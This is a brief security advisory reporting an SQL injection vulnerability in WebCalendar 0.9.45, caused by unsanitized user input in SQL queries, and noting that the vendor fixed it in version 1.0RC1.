WebCalendar is affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
This vulnerability is reported to affect WebCalendar 0.9.45; earlier versions may also be affected.
The vendor has addressed this issue in WebCalendar 1.0RC1 and later.
